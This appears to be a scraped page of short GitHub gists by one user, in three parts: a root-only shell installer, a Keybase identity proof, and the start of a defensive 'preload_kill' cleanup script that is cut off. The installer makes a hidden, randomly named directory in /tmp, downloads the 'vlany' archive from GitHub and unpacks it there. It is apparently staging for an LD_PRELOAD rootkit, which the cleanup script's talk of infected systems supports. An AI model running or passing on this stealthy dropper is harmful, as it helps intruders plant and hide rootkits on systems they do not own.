mempodippy

#!/bin/sh

[ $(id -u) != 0 ] && { echo "Not root. Exiting."; exit; }

WORKING_DIR="/tmp/.$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 8 | head -n 1)"
ARCHIVE_NAME="$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 8 | head -n 1).tar.gz"

mkdir $WORKING_DIR && cd $WORKING_DIR
wget https://github.com/mempodippy/vlany/archive/master.tar.gz -O $ARCHIVE_NAME
tar xvpfz $ARCHIVE_NAME && rm $ARCHIVE_NAME

mempodippy

Keybase proof

I hereby claim:

• I am mempodippy on github.
• I am mempodippy (https://keybase.io/mempodippy) on keybase.
• I have a public key whose fingerprint is AAC6 0B61 AAFD D6BF 2EC8 205F 3F3B 38D8 7CE0 F964

To claim this, I am signing this object:

mempodippy

#!/bin/bash

usage ()
{
    echo "preload_kill - simple bash script designed for 'livecd' environments."
    echo "Removes the ld.so.preload file on infected systems."
    echo "Usage: $0 <device name of infected system root disk>"
    echo "The partition should have /etc/ present on it."
    echo "Example: $0 sda1"
    exit